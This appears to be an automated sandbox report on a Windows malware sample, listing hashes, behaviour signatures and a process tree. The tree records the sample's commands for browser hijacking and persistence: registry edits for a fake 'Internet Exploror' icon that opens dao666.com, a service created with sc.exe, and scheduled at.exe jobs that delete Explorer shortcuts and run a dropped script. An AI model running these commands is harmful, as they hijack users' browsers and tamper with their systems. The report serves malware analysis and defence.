Analysis

  • max time kernel
    140s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2024, 08:26

General

  • Target

    8a85523d1bf50ddd4544c874c2cfed4f_JaffaCakes118.exe

  • Size

    111KB

  • MD5

    8a85523d1bf50ddd4544c874c2cfed4f

  • SHA1

    43386950d41a2afc8ccf4507f5a46b93ec5bdcba

  • SHA256

    df8109601b236f59b077559a4db4ef7938f119d23fbbc75185974dfa1a030764

  • SHA512

    17328c88496a8aa91a6e1215d6866c12c3356a899df8b8e65c1a049581b7818934b75994c5263464ceab1a288d1ed63f143f6c090a22f1bf4771d1769ceda2bf

  • SSDEEP

    3072:WwxVMhOC/dTDbq91+mno3t4QZQ3rAHhif6:WTfFDbRnOTrABj

Malware Config

Signatures

  • Creates new service(s) 2 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Program Files directory 8 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Service Discovery 1 TTPs 3 IoCs

    Adversaries may try to gather information about registered local system services.

  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Modifies registry class 45 IoCs
  • Runs net.exe
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8a85523d1bf50ddd4544c874c2cfed4f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8a85523d1bf50ddd4544c874c2cfed4f_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\121xia.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C start /min iexplore http://447.cc/index2.html?121xia
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://447.cc/index2.html?121xia
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4912
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4912 CREDAT:17410 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1296
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C .\to.cmd
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4784
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4860
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:3040
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛" /f
          4⤵
          • Modifies registry class
          PID:3028
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:3744
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:512
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:3016
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
          4⤵
          • Modifies registry class
          PID:5028
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
          4⤵
          • Modifies registry class
          PID:4556
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:3452
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2544
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:680
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)"
          4⤵
          • Modifies registry class
          PID:4160
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:1880
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command"
          4⤵
          • Modifies registry class
          PID:1320
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://dao666.com/?ha" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2728
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)"
          4⤵
          • Modifies registry class
          PID:2352
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:4256
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://dao666.com/?ha" /f
          4⤵
          • Modifies registry class
          PID:536
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2560
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
          4⤵
          • Modifies registry class
          PID:4308
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:4796
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2832
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:4276
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
          4⤵
            PID:868
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C .\copy.cmd
          3⤵
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:376
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C .\run.cmd
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3248
          • C:\Windows\SysWOW64\sc.exe
            sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            • System Service Discovery
            PID:2040
          • C:\Windows\SysWOW64\sc.exe
            sc config Schedule start= auto
            4⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:4356
          • C:\Windows\SysWOW64\net.exe
            net start "Task Scheduler"
            4⤵
            • System Service Discovery
            PID:4364
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start "Task Scheduler"
              5⤵
              • System Location Discovery: System Language Discovery
              • System Service Discovery
              PID:4360
          • C:\Windows\SysWOW64\at.exe
            at 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4620
          • C:\Windows\SysWOW64\at.exe
            at 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
            4⤵
              PID:412
            • C:\Windows\SysWOW64\at.exe
              at 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1816
            • C:\Windows\SysWOW64\at.exe
              at 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3020
            • C:\Windows\SysWOW64\at.exe
              at 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
              4⤵
                PID:3700
              • C:\Windows\SysWOW64\at.exe
                at 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3244
              • C:\Windows\SysWOW64\at.exe
                at 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3052
              • C:\Windows\SysWOW64\at.exe
                at 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2416
              • C:\Windows\SysWOW64\at.exe
                at 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                4⤵
                  PID:2096
                • C:\Windows\SysWOW64\at.exe
                  at 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                  4⤵
                    PID:4692
                  • C:\Windows\SysWOW64\at.exe
                    at 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:2012
                  • C:\Windows\SysWOW64\at.exe
                    at 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                    4⤵
                      PID:3620
                    • C:\Windows\SysWOW64\at.exe
                      at 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                      4⤵
                        PID:2324
                      • C:\Windows\SysWOW64\at.exe
                        at 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                        4⤵
                          PID:1312
                        • C:\Windows\SysWOW64\at.exe
                          at 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2924
                        • C:\Windows\SysWOW64\at.exe
                          at 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:4884
                        • C:\Windows\SysWOW64\at.exe
                          at 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:4540
                        • C:\Windows\SysWOW64\at.exe
                          at 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2392
                        • C:\Windows\SysWOW64\at.exe
                          at 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                          4⤵
                            PID:1548
                          • C:\Windows\SysWOW64\at.exe
                            at 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:3220
                          • C:\Windows\SysWOW64\at.exe
                            at 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                            4⤵
                              PID:4184
                            • C:\Windows\SysWOW64\at.exe
                              at 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4260
                            • C:\Windows\SysWOW64\at.exe
                              at 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                              4⤵
                                PID:440
                              • C:\Windows\SysWOW64\at.exe
                                at 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                4⤵
                                  PID:4528
                                • C:\Windows\SysWOW64\at.exe
                                  at 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                  4⤵
                                    PID:3040
                                  • C:\Windows\SysWOW64\at.exe
                                    at 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                    4⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3624
                                  • C:\Windows\SysWOW64\at.exe
                                    at 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                    4⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:840
                                  • C:\Windows\SysWOW64\at.exe
                                    at 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                    4⤵
                                      PID:1104
                                    • C:\Windows\SysWOW64\at.exe
                                      at 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                      4⤵
                                        PID:3204
                                      • C:\Windows\SysWOW64\at.exe
                                        at 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4556
                                      • C:\Windows\SysWOW64\at.exe
                                        at 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4564
                                      • C:\Windows\SysWOW64\at.exe
                                        at 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1604
                                      • C:\Windows\SysWOW64\at.exe
                                        at 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:680
                                      • C:\Windows\SysWOW64\at.exe
                                        at 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                        4⤵
                                          PID:4160
                                        • C:\Windows\SysWOW64\at.exe
                                          at 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                          4⤵
                                            PID:1880
                                          • C:\Windows\SysWOW64\at.exe
                                            at 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                            4⤵
                                              PID:540
                                            • C:\Windows\SysWOW64\at.exe
                                              at 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                              4⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4900
                                            • C:\Windows\SysWOW64\at.exe
                                              at 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                              4⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3260
                                            • C:\Windows\SysWOW64\at.exe
                                              at 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                              4⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5016
                                            • C:\Windows\SysWOW64\at.exe
                                              at 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                              4⤵
                                                PID:4256
                                              • C:\Windows\SysWOW64\at.exe
                                                at 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                4⤵
                                                  PID:2412
                                                • C:\Windows\SysWOW64\at.exe
                                                  at 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2560
                                                • C:\Windows\SysWOW64\at.exe
                                                  at 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1712
                                                • C:\Windows\SysWOW64\at.exe
                                                  at 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                  4⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:4796
                                                • C:\Windows\SysWOW64\at.exe
                                                  at 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                  4⤵
                                                    PID:3672
                                                  • C:\Windows\SysWOW64\at.exe
                                                    at 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                    4⤵
                                                      PID:4948
                                                    • C:\Windows\SysWOW64\at.exe
                                                      at 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3544
                                                    • C:\Windows\SysWOW64\at.exe
                                                      at 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
                                                      4⤵
                                                        PID:4600
                                                      • C:\Windows\SysWOW64\at.exe
                                                        at 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explore*.*"
                                                        4⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1692
                                                      • C:\Windows\SysWOW64\at.exe
                                                        at 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explore*.*"
                                                        4⤵
                                                          PID:3956
                                                        • C:\Windows\SysWOW64\at.exe
                                                          at 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
                                                          4⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4784
                                                        • C:\Windows\SysWOW64\at.exe
                                                          at 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                          4⤵
                                                            PID:3644
                                                          • C:\Windows\SysWOW64\at.exe
                                                            at 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                            4⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4484
                                                          • C:\Windows\SysWOW64\at.exe
                                                            at 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                            4⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2004
                                                          • C:\Windows\SysWOW64\at.exe
                                                            at 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
                                                            4⤵
                                                              PID:2332
                                                            • C:\Windows\SysWOW64\at.exe
                                                              at 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
                                                              4⤵
                                                                PID:1676
                                                              • C:\Windows\SysWOW64\at.exe
                                                                at 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
                                                                4⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4444
                                                              • C:\Windows\SysWOW64\at.exe
                                                                at 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdlt\is.cmd
                                                                4⤵
